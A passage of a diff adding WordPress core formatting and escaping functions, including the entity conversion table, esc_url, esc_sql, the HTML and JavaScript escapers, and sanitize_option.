+	 * @param string $more          An optional string to append to the end of the trimmed text, e.g. &hellip;.
+	 * @param string $original_text The text before it was trimmed.
+	 */
+	return apply_filters( 'wp_trim_words', $text, $num_words, $more, $original_text );
+}
+
+/**
+ * Converts named entities into numbered entities.
+ *
+ * @since 1.5.1
+ *
+ * @param string $text The text within which entities will be converted.
+ * @return string Text with converted entities.
+ */
+function ent2ncr( $text ) {
+
+	/**
+	 * Filters text before named entities are converted into numbered entities.
+	 *
+	 * A non-null string must be returned for the filter to be evaluated.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param null   $converted_text The text to be converted. Default null.
+	 * @param string $text           The text prior to entity conversion.
+	 */
+	$filtered = apply_filters( 'pre_ent2ncr', null, $text );
+	if ( null !== $filtered )
+		return $filtered;
+
+	$to_ncr = array(
+		'&quot;' => '&#34;',
+		'&amp;' => '&#38;',
+		'&lt;' => '&#60;',
+		'&gt;' => '&#62;',
+		'|' => '&#124;',
+		'&nbsp;' => '&#160;',
+		'&iexcl;' => '&#161;',
+		'&cent;' => '&#162;',
+		'&pound;' => '&#163;',
+		'&curren;' => '&#164;',
+		'&yen;' => '&#165;',
+		'&brvbar;' => '&#166;',
+		'&brkbar;' => '&#166;',
+		'&sect;' => '&#167;',
+		'&uml;' => '&#168;',
+		'&die;' => '&#168;',
+		'&copy;' => '&#169;',
+		'&ordf;' => '&#170;',
+		'&laquo;' => '&#171;',
+		'&not;' => '&#172;',
+		'&shy;' => '&#173;',
+		'&reg;' => '&#174;',
+		'&macr;' => '&#175;',
+		'&hibar;' => '&#175;',
+		'&deg;' => '&#176;',
+		'&plusmn;' => '&#177;',
+		'&sup2;' => '&#178;',
+		'&sup3;' => '&#179;',
+		'&acute;' => '&#180;',
+		'&micro;' => '&#181;',
+		'&para;' => '&#182;',
+		'&middot;' => '&#183;',
+		'&cedil;' => '&#184;',
+		'&sup1;' => '&#185;',
+		'&ordm;' => '&#186;',
+		'&raquo;' => '&#187;',
+		'&frac14;' => '&#188;',
+		'&frac12;' => '&#189;',
+		'&frac34;' => '&#190;',
+		'&iquest;' => '&#191;',
+		'&Agrave;' => '&#192;',
+		'&Aacute;' => '&#193;',
+		'&Acirc;' => '&#194;',
+		'&Atilde;' => '&#195;',
+		'&Auml;' => '&#196;',
+		'&Aring;' => '&#197;',
+		'&AElig;' => '&#198;',
+		'&Ccedil;' => '&#199;',
+		'&Egrave;' => '&#200;',
+		'&Eacute;' => '&#201;',
+		'&Ecirc;' => '&#202;',
+		'&Euml;' => '&#203;',
+		'&Igrave;' => '&#204;',
+		'&Iacute;' => '&#205;',
+		'&Icirc;' => '&#206;',
+		'&Iuml;' => '&#207;',
+		'&ETH;' => '&#208;',
+		'&Ntilde;' => '&#209;',
+		'&Ograve;' => '&#210;',
+		'&Oacute;' => '&#211;',
+		'&Ocirc;' => '&#212;',
+		'&Otilde;' => '&#213;',
+		'&Ouml;' => '&#214;',
+		'&times;' => '&#215;',
+		'&Oslash;' => '&#216;',
+		'&Ugrave;' => '&#217;',
+		'&Uacute;' => '&#218;',
+		'&Ucirc;' => '&#219;',
+		'&Uuml;' => '&#220;',
+		'&Yacute;' => '&#221;',
+		'&THORN;' => '&#222;',
+		'&szlig;' => '&#223;',
+		'&agrave;' => '&#224;',
+		'&aacute;' => '&#225;',
+		'&acirc;' => '&#226;',
+		'&atilde;' => '&#227;',
+		'&auml;' => '&#228;',
+		'&aring;' => '&#229;',
+		'&aelig;' => '&#230;',
+		'&ccedil;' => '&#231;',
+		'&egrave;' => '&#232;',
+		'&eacute;' => '&#233;',
+		'&ecirc;' => '&#234;',
+		'&euml;' => '&#235;',
+		'&igrave;' => '&#236;',
+		'&iacute;' => '&#237;',
+		'&icirc;' => '&#238;',
+		'&iuml;' => '&#239;',
+		'&eth;' => '&#240;',
+		'&ntilde;' => '&#241;',
+		'&ograve;' => '&#242;',
+		'&oacute;' => '&#243;',
+		'&ocirc;' => '&#244;',
+		'&otilde;' => '&#245;',
+		'&ouml;' => '&#246;',
+		'&divide;' => '&#247;',
+		'&oslash;' => '&#248;',
+		'&ugrave;' => '&#249;',
+		'&uacute;' => '&#250;',
+		'&ucirc;' => '&#251;',
+		'&uuml;' => '&#252;',
+		'&yacute;' => '&#253;',
+		'&thorn;' => '&#254;',
+		'&yuml;' => '&#255;',
+		'&OElig;' => '&#338;',
+		'&oelig;' => '&#339;',
+		'&Scaron;' => '&#352;',
+		'&scaron;' => '&#353;',
+		'&Yuml;' => '&#376;',
+		'&fnof;' => '&#402;',
+		'&circ;' => '&#710;',
+		'&tilde;' => '&#732;',
+		'&Alpha;' => '&#913;',
+		'&Beta;' => '&#914;',
+		'&Gamma;' => '&#915;',
+		'&Delta;' => '&#916;',
+		'&Epsilon;' => '&#917;',
+		'&Zeta;' => '&#918;',
+		'&Eta;' => '&#919;',
+		'&Theta;' => '&#920;',
+		'&Iota;' => '&#921;',
+		'&Kappa;' => '&#922;',
+		'&Lambda;' => '&#923;',
+		'&Mu;' => '&#924;',
+		'&Nu;' => '&#925;',
+		'&Xi;' => '&#926;',
+		'&Omicron;' => '&#927;',
+		'&Pi;' => '&#928;',
+		'&Rho;' => '&#929;',
+		'&Sigma;' => '&#931;',
+		'&Tau;' => '&#932;',
+		'&Upsilon;' => '&#933;',
+		'&Phi;' => '&#934;',
+		'&Chi;' => '&#935;',
+		'&Psi;' => '&#936;',
+		'&Omega;' => '&#937;',
+		'&alpha;' => '&#945;',
+		'&beta;' => '&#946;',
+		'&gamma;' => '&#947;',
+		'&delta;' => '&#948;',
+		'&epsilon;' => '&#949;',
+		'&zeta;' => '&#950;',
+		'&eta;' => '&#951;',
+		'&theta;' => '&#952;',
+		'&iota;' => '&#953;',
+		'&kappa;' => '&#954;',
+		'&lambda;' => '&#955;',
+		'&mu;' => '&#956;',
+		'&nu;' => '&#957;',
+		'&xi;' => '&#958;',
+		'&omicron;' => '&#959;',
+		'&pi;' => '&#960;',
+		'&rho;' => '&#961;',
+		'&sigmaf;' => '&#962;',
+		'&sigma;' => '&#963;',
+		'&tau;' => '&#964;',
+		'&upsilon;' => '&#965;',
+		'&phi;' => '&#966;',
+		'&chi;' => '&#967;',
+		'&psi;' => '&#968;',
+		'&omega;' => '&#969;',
+		'&thetasym;' => '&#977;',
+		'&upsih;' => '&#978;',
+		'&piv;' => '&#982;',
+		'&ensp;' => '&#8194;',
+		'&emsp;' => '&#8195;',
+		'&thinsp;' => '&#8201;',
+		'&zwnj;' => '&#8204;',
+		'&zwj;' => '&#8205;',
+		'&lrm;' => '&#8206;',
+		'&rlm;' => '&#8207;',
+		'&ndash;' => '&#8211;',
+		'&mdash;' => '&#8212;',
+		'&lsquo;' => '&#8216;',
+		'&rsquo;' => '&#8217;',
+		'&sbquo;' => '&#8218;',
+		'&ldquo;' => '&#8220;',
+		'&rdquo;' => '&#8221;',
+		'&bdquo;' => '&#8222;',
+		'&dagger;' => '&#8224;',
+		'&Dagger;' => '&#8225;',
+		'&bull;' => '&#8226;',
+		'&hellip;' => '&#8230;',
+		'&permil;' => '&#8240;',
+		'&prime;' => '&#8242;',
+		'&Prime;' => '&#8243;',
+		'&lsaquo;' => '&#8249;',
+		'&rsaquo;' => '&#8250;',
+		'&oline;' => '&#8254;',
+		'&frasl;' => '&#8260;',
+		'&euro;' => '&#8364;',
+		'&image;' => '&#8465;',
+		'&weierp;' => '&#8472;',
+		'&real;' => '&#8476;',
+		'&trade;' => '&#8482;',
+		'&alefsym;' => '&#8501;',
+		'&crarr;' => '&#8629;',
+		'&lArr;' => '&#8656;',
+		'&uArr;' => '&#8657;',
+		'&rArr;' => '&#8658;',
+		'&dArr;' => '&#8659;',
+		'&hArr;' => '&#8660;',
+		'&forall;' => '&#8704;',
+		'&part;' => '&#8706;',
+		'&exist;' => '&#8707;',
+		'&empty;' => '&#8709;',
+		'&nabla;' => '&#8711;',
+		'&isin;' => '&#8712;',
+		'&notin;' => '&#8713;',
+		'&ni;' => '&#8715;',
+		'&prod;' => '&#8719;',
+		'&sum;' => '&#8721;',
+		'&minus;' => '&#8722;',
+		'&lowast;' => '&#8727;',
+		'&radic;' => '&#8730;',
+		'&prop;' => '&#8733;',
+		'&infin;' => '&#8734;',
+		'&ang;' => '&#8736;',
+		'&and;' => '&#8743;',
+		'&or;' => '&#8744;',
+		'&cap;' => '&#8745;',
+		'&cup;' => '&#8746;',
+		'&int;' => '&#8747;',
+		'&there4;' => '&#8756;',
+		'&sim;' => '&#8764;',
+		'&cong;' => '&#8773;',
+		'&asymp;' => '&#8776;',
+		'&ne;' => '&#8800;',
+		'&equiv;' => '&#8801;',
+		'&le;' => '&#8804;',
+		'&ge;' => '&#8805;',
+		'&sub;' => '&#8834;',
+		'&sup;' => '&#8835;',
+		'&nsub;' => '&#8836;',
+		'&sube;' => '&#8838;',
+		'&supe;' => '&#8839;',
+		'&oplus;' => '&#8853;',
+		'&otimes;' => '&#8855;',
+		'&perp;' => '&#8869;',
+		'&sdot;' => '&#8901;',
+		'&lceil;' => '&#8968;',
+		'&rceil;' => '&#8969;',
+		'&lfloor;' => '&#8970;',
+		'&rfloor;' => '&#8971;',
+		'&lang;' => '&#9001;',
+		'&rang;' => '&#9002;',
+		'&larr;' => '&#8592;',
+		'&uarr;' => '&#8593;',
+		'&rarr;' => '&#8594;',
+		'&darr;' => '&#8595;',
+		'&harr;' => '&#8596;',
+		'&loz;' => '&#9674;',
+		'&spades;' => '&#9824;',
+		'&clubs;' => '&#9827;',
+		'&hearts;' => '&#9829;',
+		'&diams;' => '&#9830;'
+	);
+
+	return str_replace( array_keys($to_ncr), array_values($to_ncr), $text );
+}
+
+/**
+ * Formats text for the editor.
+ *
+ * Generally the browsers treat everything inside a textarea as text, but
+ * it is still a good idea to HTML entity encode `<`, `>` and `&` in the content.
+ *
+ * The filter {@see 'format_for_editor'} is applied here. If `$text` is empty the
+ * filter will be applied to an empty string.
+ *
+ * @since 4.3.0
+ *
+ * @see _WP_Editors::editor()
+ *
+ * @param string $text           The text to be formatted.
+ * @param string $default_editor The default editor for the current user.
+ *                               It is usually either 'html' or 'tinymce'.
+ * @return string The formatted text after filter is applied.
+ */
+function format_for_editor( $text, $default_editor = null ) {
+	if ( $text ) {
+		$text = htmlspecialchars( $text, ENT_NOQUOTES, get_option( 'blog_charset' ) );
+	}
+
+	/**
+	 * Filters the text after it is formatted for the editor.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $text           The formatted text.
+	 * @param string $default_editor The default editor for the current user.
+	 *                               It is usually either 'html' or 'tinymce'.
+	 */
+	return apply_filters( 'format_for_editor', $text, $default_editor );
+}
+
+/**
+ * Perform a deep string replace operation to ensure the values in $search are no longer present
+ *
+ * Repeats the replacement operation until it no longer replaces anything so as to remove "nested" values
+ * e.g. $subject = '%0%0%0DDD', $search ='%0D', $result ='' rather than the '%0%0DD' that
+ * str_replace would return
+ *
+ * @since 2.8.1
+ * @access private
+ *
+ * @param string|array $search  The value being searched for, otherwise known as the needle.
+ *                              An array may be used to designate multiple needles.
+ * @param string       $subject The string being searched and replaced on, otherwise known as the haystack.
+ * @return string The string with the replaced svalues.
+ */
+function _deep_replace( $search, $subject ) {
+	$subject = (string) $subject;
+
+	$count = 1;
+	while ( $count ) {
+		$subject = str_replace( $search, '', $subject, $count );
+	}
+
+	return $subject;
+}
+
+/**
+ * Escapes data for use in a MySQL query.
+ *
+ * Usually you should prepare queries using wpdb::prepare().
+ * Sometimes, spot-escaping is required or useful. One example
+ * is preparing an array for use in an IN clause.
+ *
+ * NOTE: Since 4.8.3, '%' characters will be replaced with a placeholder string,
+ * this prevents certain SQLi attacks from taking place. This change in behaviour
+ * may cause issues for code that expects the return value of esc_sql() to be useable
+ * for other purposes.
+ *
+ * @since 2.8.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $data Unescaped data
+ * @return string|array Escaped data
+ */
+function esc_sql( $data ) {
+	global $wpdb;
+	return $wpdb->_escape( $data );
+}
+
+/**
+ * Checks and cleans a URL.
+ *
+ * A number of characters are removed from the URL. If the URL is for displaying
+ * (the default behaviour) ampersands are also replaced. The {@see 'clean_url'} filter
+ * is applied to the returned cleaned URL.
+ *
+ * @since 2.8.0
+ *
+ * @param string $url       The URL to be cleaned.
+ * @param array  $protocols Optional. An array of acceptable protocols.
+ *		                    Defaults to return value of wp_allowed_protocols()
+ * @param string $_context  Private. Use esc_url_raw() for database usage.
+ * @return string The cleaned $url after the {@see 'clean_url'} filter is applied.
+ */
+function esc_url( $url, $protocols = null, $_context = 'display' ) {
+	$original_url = $url;
+
+	if ( '' == $url )
+		return $url;
+
+	$url = str_replace( ' ', '%20', $url );
+	$url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%@$\|*\'()\[\]\\x80-\\xff]|i', '', $url);
+
+	if ( '' === $url ) {
+		return $url;
+	}
+
+	if ( 0 !== stripos( $url, 'mailto:' ) ) {
+		$strip = array('%0d', '%0a', '%0D', '%0A');
+		$url = _deep_replace($strip, $url);
+	}
+
+	$url = str_replace(';//', '://', $url);
+	/* If the URL doesn't appear to contain a scheme, we
+	 * presume it needs http:// prepended (unless a relative
+	 * link starting with /, # or ? or a php file).
+	 */
+	if ( strpos($url, ':') === false && ! in_array( $url[0], array( '/', '#', '?' ) ) &&
+		! preg_match('/^[a-z0-9-]+?\.php/i', $url) )
+		$url = 'http://' . $url;
+
+	// Replace ampersands and single quotes only when displaying.
+	if ( 'display' == $_context ) {
+		$url = wp_kses_normalize_entities( $url );
+		$url = str_replace( '&amp;', '&#038;', $url );
+		$url = str_replace( "'", '&#039;', $url );
+	}
+
+	if ( ( false !== strpos( $url, '[' ) ) || ( false !== strpos( $url, ']' ) ) ) {
+
+		$parsed = wp_parse_url( $url );
+		$front  = '';
+
+		if ( isset( $parsed['scheme'] ) ) {
+			$front .= $parsed['scheme'] . '://';
+		} elseif ( '/' === $url[0] ) {
+			$front .= '//';
+		}
+
+		if ( isset( $parsed['user'] ) ) {
+			$front .= $parsed['user'];
+		}
+
+		if ( isset( $parsed['pass'] ) ) {
+			$front .= ':' . $parsed['pass'];
+		}
+
+		if ( isset( $parsed['user'] ) || isset( $parsed['pass'] ) ) {
+			$front .= '@';
+		}
+
+		if ( isset( $parsed['host'] ) ) {
+			$front .= $parsed['host'];
+		}
+
+		if ( isset( $parsed['port'] ) ) {
+			$front .= ':' . $parsed['port'];
+		}
+
+		$end_dirty = str_replace( $front, '', $url );
+		$end_clean = str_replace( array( '[', ']' ), array( '%5B', '%5D' ), $end_dirty );
+		$url       = str_replace( $end_dirty, $end_clean, $url );
+
+	}
+
+	if ( '/' === $url[0] ) {
+		$good_protocol_url = $url;
+	} else {
+		if ( ! is_array( $protocols ) )
+			$protocols = wp_allowed_protocols();
+		$good_protocol_url = wp_kses_bad_protocol( $url, $protocols );
+		if ( strtolower( $good_protocol_url ) != strtolower( $url ) )
+			return '';
+	}
+
+	/**
+	 * Filters a string cleaned and escaped for output as a URL.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $good_protocol_url The cleaned URL to be returned.
+	 * @param string $original_url      The URL prior to cleaning.
+	 * @param string $_context          If 'display', replace ampersands and single quotes only.
+	 */
+	return apply_filters( 'clean_url', $good_protocol_url, $original_url, $_context );
+}
+
+/**
+ * Performs esc_url() for database usage.
+ *
+ * @since 2.8.0
+ *
+ * @param string $url       The URL to be cleaned.
+ * @param array  $protocols An array of acceptable protocols.
+ * @return string The cleaned URL.
+ */
+function esc_url_raw( $url, $protocols = null ) {
+	return esc_url( $url, $protocols, 'db' );
+}
+
+/**
+ * Convert entities, while preserving already-encoded entities.
+ *
+ * @link https://secure.php.net/htmlentities Borrowed from the PHP Manual user notes.
+ *
+ * @since 1.2.2
+ *
+ * @param string $myHTML The text to be converted.
+ * @return string Converted text.
+ */
+function htmlentities2( $myHTML ) {
+	$translation_table = get_html_translation_table( HTML_ENTITIES, ENT_QUOTES );
+	$translation_table[chr(38)] = '&';
+	return preg_replace( "/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/", "&amp;", strtr($myHTML, $translation_table) );
+}
+
+/**
+ * Escape single quotes, htmlspecialchar " < > &, and fix line endings.
+ *
+ * Escapes text strings for echoing in JS. It is intended to be used for inline JS
+ * (in a tag attribute, for example onclick="..."). Note that the strings have to
+ * be in single quotes. The {@see 'js_escape'} filter is also applied here.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text The text to be escaped.
+ * @return string Escaped text.
+ */
+function esc_js( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_COMPAT );
+	$safe_text = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", stripslashes( $safe_text ) );
+	$safe_text = str_replace( "\r", '', $safe_text );
+	$safe_text = str_replace( "\n", '\\n', addslashes( $safe_text ) );
+	/**
+	 * Filters a string cleaned and escaped for output in JavaScript.
+	 *
+	 * Text passed to esc_js() is stripped of invalid or special characters,
+	 * and properly slashed for output.
+	 *
+	 * @since 2.0.6
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'js_escape', $safe_text, $text );
+}
+
+/**
+ * Escaping for HTML blocks.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_html( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
+	/**
+	 * Filters a string cleaned and escaped for output in HTML.
+	 *
+	 * Text passed to esc_html() is stripped of invalid or special characters
+	 * before output.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'esc_html', $safe_text, $text );
+}
+
+/**
+ * Escaping for HTML attributes.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_attr( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
+	/**
+	 * Filters a string cleaned and escaped for output in an HTML attribute.
+	 *
+	 * Text passed to esc_attr() is stripped of invalid or special characters
+	 * before output.
+	 *
+	 * @since 2.0.6
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'attribute_escape', $safe_text, $text );
+}
+
+/**
+ * Escaping for textarea values.
+ *
+ * @since 3.1.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_textarea( $text ) {
+	$safe_text = htmlspecialchars( $text, ENT_QUOTES, get_option( 'blog_charset' ) );
+	/**
+	 * Filters a string cleaned and escaped for output in a textarea element.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'esc_textarea', $safe_text, $text );
+}
+
+/**
+ * Escape an HTML tag name.
+ *
+ * @since 2.5.0
+ *
+ * @param string $tag_name
+ * @return string
+ */
+function tag_escape( $tag_name ) {
+	$safe_tag = strtolower( preg_replace('/[^a-zA-Z0-9_:]/', '', $tag_name) );
+	/**
+	 * Filters a string cleaned and escaped for output as an HTML tag.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $safe_tag The tag name after it has been escaped.
+ 	 * @param string $tag_name The text before it was escaped.
+	 */
+	return apply_filters( 'tag_escape', $safe_tag, $tag_name );
+}
+
+/**
+ * Convert full URL paths to absolute paths.
+ *
+ * Removes the http or https protocols and the domain. Keeps the path '/' at the
+ * beginning, so it isn't a true relative link, but from the web root base.
+ *
+ * @since 2.1.0
+ * @since 4.1.0 Support was added for relative URLs.
+ *
+ * @param string $link Full URL path.
+ * @return string Absolute path.
+ */
+function wp_make_link_relative( $link ) {
+	return preg_replace( '|^(https?:)?//[^/]+(/?.*)|i', '$2', $link );
+}
+
+/**
+ * Sanitises various option values based on the nature of the option.
+ *
+ * This is basically a switch statement which will pass $value through a number
+ * of functions depending on the $option.
+ *
+ * @since 2.0.5
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $option The name of the option.
+ * @param string $value  The unsanitised value.
+ * @return string Sanitized value.
+ */
+function sanitize_option( $option, $value ) {
+	global $wpdb;
+
+	$original_value = $value;
+	$error = '';
+
+	switch ( $option ) {
+		case 'admin_email' :
+		case 'new_admin_email' :
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				$value = sanitize_email( $value );
+				if ( ! is_email( $value ) ) {
+					$error = __( 'The email address entered did not appear to be a valid email address. Please enter a valid email address.' );
+				}
+			}
+			break;
+
+		case 'thumbnail_size_w':
+		case 'thumbnail_size_h':
+		case 'medium_size_w':
+		case 'medium_size_h':
+		case 'medium_large_size_w':
+		case 'medium_large_size_h':
+		case 'large_size_w':
+		case 'large_size_h':
+		case 'mailserver_port':
+		case 'comment_max_links':
+		case 'page_on_front':
+		case 'page_for_posts':
+		case 'rss_excerpt_length':
+		case 'default_category':
+		case 'default_email_category':
+		case 'default_link_category':
+		case 'close_comments_days_old':
+		case 'comments_per_page':
+		case 'thread_comments_depth':
+		case 'users_can_register':
+		case 'start_of_week':
+		case 'site_icon':
+			$value = absint( $value );
+			break;
+
+		case 'posts_per_page':
+		case 'posts_per_rss':
+			$value = (int) $value;
+			if ( empty($value) )
+				$value = 1;
+			if ( $value < -1 )
+				$value = abs($value);
+			break;
+
+		case 'default_ping_status':
+		case 'default_comment_status':
+			// Options that if not there have 0 value but need to be something like "closed"
+			if ( $value == '0' || $value == '')
+				$value = 'closed';
+			break;
+
+		case 'blogdescription':
+		case 'blogname':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( $value !== $original_value ) {
+				$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', wp_encode_emoji( $original_value ) );
+			}
+
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				$value = esc_html( $value );
+			}
+			break;
+
+		case 'blog_charset':
+			$value = preg_replace('/[^a-zA-Z0-9_-]/', '', $value); // strips slashes
+			break;
+
+		case 'blog_public':
+			// This is the value if the settings checkbox is not checked on POST. Don't rely on this.
+			if ( null === $value )
+				$value = 1;
+			else
+				$value = intval( $value );
+			break;
+
+		case 'date_format':
+		case 'time_format':
+		case 'mailserver_url':
+		case 'mailserver_login':
+		case 'mailserver_pass':
+		case 'upload_path':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				$value = strip_tags( $value );
+				$value = wp_kses_data( $value );
+			}
+			break;
+
+		case 'ping_sites':
+			$value = explode( "\n", $value );
+			$value = array_filter( array_map( 'trim', $value ) );
+			$value = array_filter( array_map( 'esc_url_raw', $value ) );
+			$value = implode( "\n", $value );
+			break;
+
+		case 'gmt_offset':
+			$value = preg_replace('/[^0-9:.-]/', '', $value); // strips slashes
+			break;
+
+		case 'siteurl':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				if ( preg_match( '#http(s?)://(.+)#i', $value ) ) {
+					$value = esc_url_raw( $value );
+				} else {
+					$error = __( 'The WordPress address you entered did not appear to be a valid URL. Please enter a valid URL.' );
+				}
+			}
+			break;
+
+		case 'home':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				if ( preg_match( '#http(s?)://(.+)#i', $value ) ) {
+					$value = esc_url_raw( $value );
+				} else {
+					$error = __( 'The Site address you entered did not appear to be a valid URL. Please enter a valid URL.' );
+				}
+			}
+			break;
+
+		case 'WPLANG':
+			$allowed = get_available_languages();
+			if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG ) {
+				$allowed[] = WPLANG;
+			}
+			if ( ! in_array( $value, $allowed ) && ! empty( $value ) ) {
+				$value = get_option( $option );
+			}
+			break;
+
+		case 'illegal_names':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				if ( ! is_array( $value ) )
+					$value = explode( ' ', $value );
+
+				$value = array_values( array_filter( array_map( 'trim', $value ) ) );
+
+				if ( ! $value )
+					$value = '';
+			}
+			break;
+
+		case 'limited_email_domains':
+		case 'banned_email_domains':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				if ( ! is_array( $value ) )
+					$value = explode( "\n", $value );
+
+				$domains = array_values( array_filter( array_map( 'trim', $value ) ) );
+				$value = array();
+
+				foreach ( $domains as $domain ) {
+					if ( ! preg_match( '/(--|\.\.)/', $domain ) && preg_match( '|^([a-zA-Z0-9-\.])+$|', $domain ) ) {
+						$value[] = $domain;
+					}
+				}
+				if ( ! $value )
+					$value = '';
+			}
+			break;
+
+		case 'timezone_string':
+			$allowed_zones = timezone_identifiers_list();
+			if ( ! in_array( $value, $allowed_zones ) && ! empty( $value ) ) {
+				$error = __( 'The timezone you have entered is not valid. Please select a valid timezone.' );
+			}
+			break;
+
+		case 'permalink_structure':
+		case 'category_base':
+		case 'tag_base':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				$value = esc_url_raw( $value );
+				$value = str_replace( 'http://', '', $value );
+			}
+
+			if ( 'permalink_structure' === $option && '' !== $value && ! preg_match( '/%[^\/%]+%/', $value ) ) {
+				$error = sprintf(
+					/* translators: %s: Codex URL */
+					__( 'A structure tag is required when using custom permalinks. <a href="%s">Learn more</a>' ),
+					__( 'https://codex.wordpress.org/Using_Permalinks#Choosing_your_permalink_structure' )
+				);
+			}
+			break;
+
+		case 'default_role' :
+			if ( ! get_role( $value ) && get_role( 'subscriber' ) )
+				$value = 'subscriber';
+			break;
+
+		case 'moderation_keys':
+		case 'blacklist_keys':
+			$value = $wpdb->strip_invalid_text_for_column( $wpdb->options, 'option_value', $value );
+			if ( is_wp_error( $value ) ) {
+				$error = $value->get_error_message();
+			} else {
+				$value = explode( "\n", $value );
+				$value = array_filter( array_map( 'trim', $value ) );
+				$value = array_unique( $value );
+				$value = implode( "\n", $value );
+			}
+			break;
+	}
+
+	if ( ! empty( $error ) ) {
+		$value = get_option( $option );
+		if ( function_exists( 'add_settings_error' ) ) {
+			add_settings_error( $option, "invalid_{$option}", $error );
+		}
+	}
+
+	/**
+	 * Filters an option value following sanitization.
+	 *
+	 * @since 2.3.0
+	 * @since 4.3.0 Added the `$original_value` parameter.
+	 *
+	 * @param string $value          The sanitized option value.
+	 * @param string $option         The option name.
+	 * @param string $original_value The original value passed to the function.
+	 */
+	return apply_filters( "sanitize_option_{$option}", $value, $option, $original_value );
+}
+
+/**
+ * Maps a function to all non-iterable elements of an array or an object.
+ *
+ * This is similar to `array_walk_recursive()` but acts upon objects too.
+ *
+ * @since 4.4.0
+ *
+ * @param mixed    $value    The array, object, or scalar.
+ * @param callable $callback The function to map onto $value.
+ * @return mixed The value with the callback applied to all non-arrays and non-objects inside it.
+ */
+function map_deep( $value, $callback ) {
+	if ( is_array( $value ) ) {
+		foreach ( $value as $index => $item ) {
+			$value[ $index ] = map_deep( $item, $callback );
+		}
+	} elseif ( is_object( $value ) ) {
+		$object_vars = get_object_vars( $value );
+		foreach ( $object_vars as $property_name => $property_value ) {
+			$value->$property_name = map_deep( $property_value, $callback );
+		}
+	} else {
+		$value = call_user_func( $callback, $value );
+	}
+
+	return $value;
+}
+
+/**
+ * Parses a string into variables to be stored in an array.
+ *
+ * Uses {@link https://secure.php.net/parse_str parse_str()} and stripslashes if
+ * {@link https://secure.php.net/magic_quotes magic_quotes_gpc} is on.
+ *
+ * @since 2.2.1
+ *
+ * @param string $string The string to be parsed.
+ * @param array  $array  Variables will be stored in this array.
+ */
+function wp_parse_str( $string, &$array ) {
+	parse_str( $string, $array );
+	if ( get_magic_quotes_gpc() )
+		$array = stripslashes_deep( $array );
+	/**
+	 * Filters the array of variables derived from a parsed string.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array $array The array populated with variables.
+	 */
+	$array = apply_filters( 'wp_parse_str', $array );
+}
+
+/**
+ * Convert lone less than signs.
+ *
+ * KSES already converts lone greater than signs.
+ *
+ * @since 2.3.0
+ *
+ * @param string $text Text to be converted.
+ * @return string Converted text.
+ */
+function wp_pre_kses_less_than( $text ) {
+	return preg_replace_callback('%<[^>]*?((?=<)|>|$)%', 'wp_pre_kses_less_than_callback', $text);
+}
+
+/**
+ * Callback function used by preg_replace.
+ *
+ * @since 2.3.0
+ *
+ * @param array $matches Populated by matches to preg_replace.
+ * @return string The text returned after esc_html if needed.
+ */
+function wp_pre_kses_less_than_callback( $matches ) {
+	if ( false === strpos($matches[0], '>') )
+		return esc_html($matches[0]);
+	return $matches[0];
+}
+
+/**
+ * Remove non-allowable HTML from parsed block attribute values when filtering
+ * in the post context.
+ *
+ * @since 5.3.1
+ *
+ * @param string         $string            Content to be run through KSES.
+ * @param array[]|string $allowed_html      An array of allowed HTML elements
+ *                                          and attributes, or a context name
+ *                                          such as 'post'.
+ * @param string[]       $allowed_protocols Array of allowed URL protocols.
